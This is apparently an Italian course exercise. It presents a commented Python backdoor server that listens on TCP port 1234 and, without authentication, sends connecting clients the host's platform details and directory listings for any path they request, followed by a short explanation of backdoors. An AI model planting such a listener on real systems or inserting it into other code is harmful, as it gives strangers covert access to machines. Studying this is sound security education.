

Esercizio S3/L4

```
1 import socket, platform, os #Import dei moduli/API
2
3 SRV_ADDR = "" #Dichiarazione della costante per l'indirizzo IP - In questo caso è vuoto e ascolta tutte le interfacce
4 SRV_PORT = 1234 #Dichiarazione della costante per la porta
5
6 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #Istanza dell'oggetto di tipo socket con i parametri per l'IPv4 e il protocollo TCP
7 s.bind((SRV_ADDR, SRV_PORT)) #Inserisce l'indirizzo ip e la porta nel socket
8 s.listen(1) #Abilita il server all'ascolto per 1 sola connessione
9 connection, address = s.accept() #Accetta la connessione del dispositivo e ci restituisce connection per ricevere e mandare dati, e l'ip del client
10
11 print("client connected: ", address) #Stampa l'ip del dispositivo che si connette
12
13 while 1: #Ciclo infinito
14     try: #Prova a fare questa cosa altrimenti gestisce l'eccezione con except e torna all'ultimo ciclo
15         data = connection.recv(1024) #Riceve al massimo 1024 byte (dimensione del buffer) di dati dal socket
16     except: continue
17
18     if(data.decode('utf-8') == '1'): #Se il dato inviato dal client è 1 allora:
19         tosend = platform.platform() + " " + platform.machine() #Dichiara un oggetto di tipo stringa contenente il tipo di piattaforma e il tipo di macchina
20         connection.sendall(tosend.encode()) #Invia la stringa "tosend" sulla connessione stabilita
21     elif(data.decode('utf-8') == '2'): #Se il dato inviato dal client è 2 allora:
22         data = connection.recv(1024) #Riceve al massimo 1024 byte (dimensione del buffer) di dati dal socket
23         try: #Prova a fare questa cosa altrimenti gestisce l'eccezione
24             filelist = os.listdir(data.decode('utf-8')) #Decodifico la lista delle directory nel percorso specificato dall'utente in utf.8
25             tosend = ""
26             for x in filelist: #Per ogni elemento contenuto nel path specificato
27                 tosend += "," + x #Aggiungi l'elemento alla stringa tosend
28         except:
29             tosend = "Wrong path"
30         connection.sendall(tosend.encode()) #Invia la stringa contenente la lista delle directory se tutto va bene, altrimenti informa che il percorso è errato
31     elif(data.decode('utf-8') == '0'): #Se il dato inviato dal client è 0 allora:
32         connection.close() #Chiude la connessione
33     connection, address = s.accept() #E torna in ascolto per accettare un'altra connessione
```

Una backdoor è una vulnerabilità che può essere sfruttata per avere accesso ad una macchina senza che il proprietario ne sia a conoscenza. Le backdoor possono essere create in vari modi come per esempio per via di un Malware oppure come in questo caso direttamente una persona che lascia una vulnerabilità nella macchina.